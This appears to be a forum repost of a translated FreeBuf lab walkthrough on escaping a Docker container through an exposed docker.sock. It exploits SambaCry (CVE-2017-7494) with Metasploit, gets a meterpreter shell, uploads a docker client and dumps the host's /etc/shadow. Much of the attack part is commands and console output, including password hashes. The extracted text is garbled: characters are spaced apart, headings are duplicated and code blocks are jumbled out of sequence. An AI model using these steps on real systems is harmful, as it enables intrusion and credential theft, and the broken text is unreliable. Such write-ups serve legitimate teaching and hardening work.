搜索

[13468] 2018-11-27_利用Docker容器的不安全部署获取宿主机权限

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2018-11-27_利用Docker容器的不安全部署获取宿主机权限 利 用 D o c k e r 容 器 的 不 安 全 部 署 获 取 宿 主 机 权 限 s e c i s t   F r e e B u f   2 0 1 8 - 1 1 - 2 7 前 言 前 言 滥 用 容 器 （ 滥 用 容 器 （   c o n t a i n e r ） 及 逃 逸 的 方 法 有 多 种 ， 本 文 将 讨 论 最 基 本 的 一 种 ， 即 滥 用 ） 及 逃 逸 的 方 法 有 多 种 ， 本 文 将 讨 论 最 基 本 的 一 种 ， 即 滥 用 d o c k e r   s o c k e t 来 逃 逸 容 器 并 来 逃 逸 容 器 并 在 宿 主 机 上 以 在 宿 主 机 上 以 r o o t 身 份 执 行 代 码 。 身 份 执 行 代 码 。 实 验 环 境 设 置 实 验 环 境 设 置 由 于 我 们 将 使 用 容 器 ， 因 此 你 必 须 安 装 d o c k e r 。 创 建 网 络 创 建 网 络 首 先 ， 我 们 在 创 建 容 器 的 地 方 创 建 一 个 d o c k e r 网 络 ： 启 动 易 受 攻 击 的 容 器 启 动 易 受 攻 击 的 容 器 在 本 示 例 中 ， 我 将 使 用 受 S a m b a C r y 漏 洞 （ C V E - 2 0 1 7 - 7 4 9 4 ） 影 响 的 容 器 。 有 关 该 漏 洞 的 更 多 信 息 ， 可 以 参 阅 o p s x c q / e x p l o i t - C V E - 2 0 1 7 - 7 4 9 4 。 此 漏 洞 允 许 你 在 S a m b a 服 务 器 中 远 程 代 码 执 行 ， 我 们 将 d o c k e r   s o c k e t 添 加 到 容 器 中 ， 以 下 是 一 个 滥 用 d o c k e r 的 示 例 。 启 动 攻 击 机 启 动 攻 击 机 实 验 环 境 设 置 完 成 后 ， 接 下 来 我 们 需 要 将 攻 击 者 的 主 机 添 加 到 网 络 中 。 S a m b a   C r y 存 储 库 中 有 一 个 漏 洞 利 用 代 码 ， 但 这 里 我 将 使 用 M e t a s p l o i t ， 因 为 它 更 容 易 上 传 我 所 需 的 内 容 。 我 已 经 为 此 构 建 了 一 个 映 像 ， 只 需 运 行 b e l l o w 命 令 ， 所 有 d o c k e r   n e t w o r k   c r e a t e   p w n a g e d o c k e r   r u n   - - r m   - i t                 - - n a m e   v u l n e r a b l e                 - - n e t w o r k   p w n a g e                 - v   ' / v a r / r u n / d o c k e r . s o c k : / v a r / r u n / d o c k e r . s o c k '                 v u l n e r a b l e s / c v e - 2 0 1 7 - 7 4 9 4
内 容 都 将 根 据 实 验 环 境 需 要 运 行 ： 加 载 完 成 后 ， 你 将 看 到 如 下 界 面 。 攻 击 利 用 攻 击 利 用 信 息 收 集 信 息 收 集 在 任 何 攻 击 或 测 试 中 ， 信 息 收 集 都 是 必 不 可 少 的 一 个 环 节 。 因 此 ， 让 我 们 先 来 p i n g 下 易 受 攻 击 的 容 器 检 查 下 当 前 的 连 接 情 况 。 如 果 一 切 正 常 ， 你 应 该 能 看 到 以 下 输 出 信 息 。 然 后 ， 我 们 进 行 基 本 的 s m b 共 享 枚 举 ： d o c k e r   r u n   - - r m   - i t                 - - n e t w o r k   p w n a g e                 - v   ' / u s r / b i n / d o c k e r : / d o c k e r : r o '                 s t r m / m e t a s p l o i t p i n g   - c   2   v u l n e r a b l e m s f 5   >   p i n g   - c   2   v u l n e r a b l e   [ * ]   e x e c :   p i n g   - c   2   v u l n e r a b l e   P I N G   v u l n e r a b l e   ( 1 7 2 . 2 0 . 0 . 2 )   5 6 ( 8 4 )   b y t e s   o f   d a t a . 6 4   b y t e s   f r o m   v u l n e r a b l e . p w n a g e   ( 1 7 2 . 2 0 . 0 . 2 ) :   i c m p _ s e q = 1   t t l = 6 4   t i m e = 0 . 1 2 0   m s 6 4   b y t e s   f r o m   v u l n e r a b l e . p w n a g e   ( 1 7 2 . 2 0 . 0 . 2 ) :   i c m p _ s e q = 2   t t l = 6 4   t i m e = 0 . 0 9 7   m s - - -   v u l n e r a b l e   p i n g   s t a t i s t i c s   - - - 2   p a c k e t s   t r a n s m i t t e d ,   2   r e c e i v e d ,   0 %   p a c k e t   l o s s ,   t i m e   1 0 0 9 m s r t t   m i n / a v g / m a x / m d e v   =   0 . 0 9 7 / 0 . 1 0 8 / 0 . 1 2 0 / 0 . 0 1 5   m s
输 出 结 果 如 下 ： 可 以 看 到 ， 这 个 s a m b a 服 务 器 中 有 一 个 名 为 d a t a 的 共 享 。 获 取 获 取 s h e l l 下 一 步 我 们 要 做 的 是 ， 针 对 宿 主 机 运 行 漏 洞 利 用 程 序 获 取 s h e l l 。 在 M e t a s p l o i t 中 ， 该 漏 洞 名 为 i s _ k n o w n _ p i p e n a m e ， 位 于 e x p l o i t / l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e 。 运 行 b e l l o w 命 令 攻 击 宿 主 机 ： 如 果 一 切 顺 利 ， 你 将 获 取 到 一 个 m e t e r p r e t e r   s h e l l 。 如 下 ： 提 权 提 权 我 们 将 通 过 滥 用 容 器 内 可 用 的 d o c k e r   s o c k e t 来 提 权 。 由 于 d o c k e r 在 宿 主 机 上 是 以 r o o t 身 份 运 行 的 ， 因 此 它 也 具 有 r o o t 权 限 。 我 们 可 以 滥 用 它 来 执 行 多 项 操 作 。 例 如 ， 使 用 — p r i v i l e g e d 选 项 可 以 为 我 们 提 供 许 多 扩 展 功 能 ， 以 下 是 从 d o c k e r 官 方 文 档 中 提 取 的 解 释 文 本 ： u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ e n u m s h a r e s s e t   r h o s t s   v u l n e r a b l e r u n m s f 5   >   u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ e n u m s h a r e s m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ e n u m s h a r e s )   >   s e t   r h o s t s   v u l n e r a b l e r h o s t s   = >   v u l n e r a b l e m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ e n u m s h a r e s )   >   r u n [ + ]   1 7 2 . 2 0 . 0 . 2 : 1 3 9                 -   d a t a   -   ( D S )   D a t a [ + ]   1 7 2 . 2 0 . 0 . 2 : 1 3 9                 -   I P C $   -   ( I )   I P C   S e r v i c e   ( C r y i n g   s a m b a ) [ * ]   v u l n e r a b l e :                       -   S c a n n e d   1   o f   1   h o s t s   ( 1 0 0 %   c o m p l e t e ) [ * ]   A u x i l i a r y   m o d u l e   e x e c u t i o n   c o m p l e t e d u s e   e x p l o i t / l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e s e t   R H O S T   v u l n e r a b l e s e t   R P O R T   4 4 5 s e t   p a y l o a d   l i n u x / x 6 4 / m e t e r p r e t e r / b i n d _ t c p s e t   T A R G E T   3 s e t   S M B _ F O L D E R   d a t a s e t   S M B U s e r   s a m b a c r y s e t   S M B P a s s   n o s a m b a n o c r y e x p l o i t m s f 5   >   u s e   e x p l o i t / l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   R H O S T   v u l n e r a b l e R H O S T   = >   v u l n e r a b l e m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   R P O R T   4 4 5 R P O R T   = >   4 4 5 m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   p a y l o a d   l i n u x / x 6 4 / m e t e r p r e t e r / b i n d _ t c p p a y l o a d   = >   l i n u x / x 6 4 / m e t e r p r e t e r / b i n d _ t c p m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   T A R G E T   3 T A R G E T   = >   3 m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   S M B _ F O L D E R   d a t a S M B _ F O L D E R   = >   d a t a m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   S M B U s e r   s a m b a c r y S M B U s e r   = >   s a m b a c r y m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   S M B P a s s   n o s a m b a n o c r y S M B P a s s   = >   n o s a m b a n o c r y m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   e x p l o i t [ * ]   v u l n e r a b l e : 4 4 5   -   U s i n g   l o c a t i o n   v u l n e r a b l e d a t a   f o r   t h e   p a t h [ * ]   v u l n e r a b l e : 4 4 5   -   R e t r i e v i n g   t h e   r e m o t e   p a t h   o f   t h e   s h a r e   ' d a t a ' [ * ]   v u l n e r a b l e : 4 4 5   -   S h a r e   ' d a t a '   h a s   s e r v e r - s i d e   p a t h   ' / d a t a [ * ]   v u l n e r a b l e : 4 4 5   -   U p l o a d e d   p a y l o a d   t o   v u l n e r a b l e d a t a s h y y E P P k . s o [ * ]   v u l n e r a b l e : 4 4 5   -   L o a d i n g   t h e   p a y l o a d   f r o m   s e r v e r - s i d e   p a t h   / d a t a / s h y y E P P k . s o   u s i n g   P I P E / d a t a / s h y y E P P k . s o . . . [ - ]   v u l n e r a b l e : 4 4 5   -       > >   F a i l e d   t o   l o a d   S T A T U S _ O B J E C T _ N A M E _ N O T _ F O U N D [ * ]   v u l n e r a b l e : 4 4 5   -   L o a d i n g   t h e   p a y l o a d   f r o m   s e r v e r - s i d e   p a t h   / d a t a / s h y y E P P k . s o   u s i n g   / d a t a / s h y y E P P k . s o . . . [ - ]   v u l n e r a b l e : 4 4 5   -       > >   F a i l e d   t o   l o a d   S T A T U S _ O B J E C T _ N A M E _ N O T _ F O U N D [ * ]   S t a r t e d   b i n d   T C P   h a n d l e r   a g a i n s t   v u l n e r a b l e : 4 4 4 4 [ * ]   S e n d i n g   s t a g e   ( 8 1 6 2 6 0   b y t e s )   t o   v u l n e r a b l e m e t e r p r e t e r   >
默 认 情 况 下 ， D o c k e r 的 容 器 是 没 有 特 权 的 ， 例 如 不 能 在 容 器 中 再 启 动 一 个 容 器 。 这 是 因 为 默 认 情 况 下 容 器 是 不 能 访 问 任 何 其 它 设 备 的 。 但 是 通 过 ” p r i v i l e g e d ” ， 容 器 就 拥 有 了 访 问 任 何 其 它 设 备 的 权 限 。 当 操 作 者 执 行 d o c k e r   r u n   — p r i v i l e g e d 时 ， D o c k e r 将 拥 有 访 问 主 机 所 有 设 备 的 权 限 ， 同 时 D o c k e r 也 会 在 a p p a r m o r 或 者 s e l i n u x 做 一 些 设 置 ， 使 容 器 可 以 容 易 的 访 问 那 些 运 行 在 容 器 外 部 的 设 备 。 你 可 以 使 用 — d e v i c e 选 项 访 问 设 备 。 但 在 本 示 例 中 ， 我 将 映 射 t o o r 文 件 系 统   ( / )   到 容 器 中 并 访 问 它 。 由 于 此 容 器 中 没 有 d o c k e r 客 户 端 ， 因 此 下 一 步 我 们 要 做 的 就 是 在 目 标 容 器 中 设 置 d o c k e r 客 户 端 及 其 依 赖 项 。 你 只 需 运 行 以 下 命 令 ， 即 可 完 成 所 有 这 些 操 作 。 现 在 ， 我 们 就 可 以 使 用 d o c k e r 来 访 问 宿 主 机 上 的 文 件 系 统 了 。 我 们 来 转 储 下 本 地 用 户 的 哈 希 ， 输 出 结 果 如 下 ： 参 考 文 献 参 考 文 献 M e t a s p l o i t   d o c k e r   i m a g e V u l n e r a b l e   c o n t a i n e r * 参 考 来 源 ： s t r m ， F B 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M u p l o a d   / d o c k e r   / d o c k e r u p l o a d   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7 c h m o d   7 7 7   / d o c k e r c h m o d   + x   / d o c k e r m e t e r p r e t e r   >   u p l o a d   / d o c k e r   / d o c k e r [ * ]   u p l o a d i n g     :   / d o c k e r   - >   / d o c k e r [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 6 . 3 6   M i B   ( 0 . 0 % ) :   / d o c k e r   - >   / d o c k e r [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 6 . 3 6   M i B   ( 0 . 0 % ) :   / d o c k e r   - >   / d o c k e r [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 6 . 3 6   M i B   ( 0 . 0 % ) :   / d o c k e r   - >   / d o c k e r [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 6 . 3 6   M i B   ( 0 . 0 % ) :   / d o c k e r   - >   / d o c k e r [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 6 . 3 6   M i B   ( 0 . 0 % ) :   / d o c k e r   - >   / d o c k e r [ * ]   u p l o a d e d       :   / d o c k e r   - >   / d o c k e r m e t e r p r e t e r   >   u p l o a d   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7 [ * ]   u p l o a d i n g     :   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7   - >   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7 [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 8 . 4 7   K i B   ( - 0 . 0 % ) :   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7   - >   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7 [ * ]   u p l o a d e d       :   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7   - >   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7 m e t e r p r e t e r   >   c h m o d   7 7 7   / d o c k e r m e t e r p r e t e r   >   c h m o d   + x   / d o c k e r m e t e r p r e t e r   > e x e c u t e   - f   / d o c k e r   - i   - H   - c   - a   " r u n   - - r m   - v   ' / : / r o o t f s '   d e b i a n : 9 . 2   c a t   / r o o t f s / e t c / s h a d o w " m e t e r p r e t e r   >   e x e c u t e   - f   / d o c k e r   - i   - H   - c   - a   " r u n   - - r m   - v   ' / : / r o o t f s '   d e b i a n : 9 . 2   c a t   / r o o t f s / e t c / s h a d o w " P r o c e s s   1 1 3   c r e a t e d . C h a n n e l   1 3   c r e a t e d . r o o t : $ 1 $ U F K d t F G w $ q p 2 9 y 1 q G W i t / v n v I G 0 u S r 1 : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : d a e m o n : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : b i n : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : s y s : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : s y n c : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : g a m e s : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : m a n : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : l p : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : m a i l : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : n e w s : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : :
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理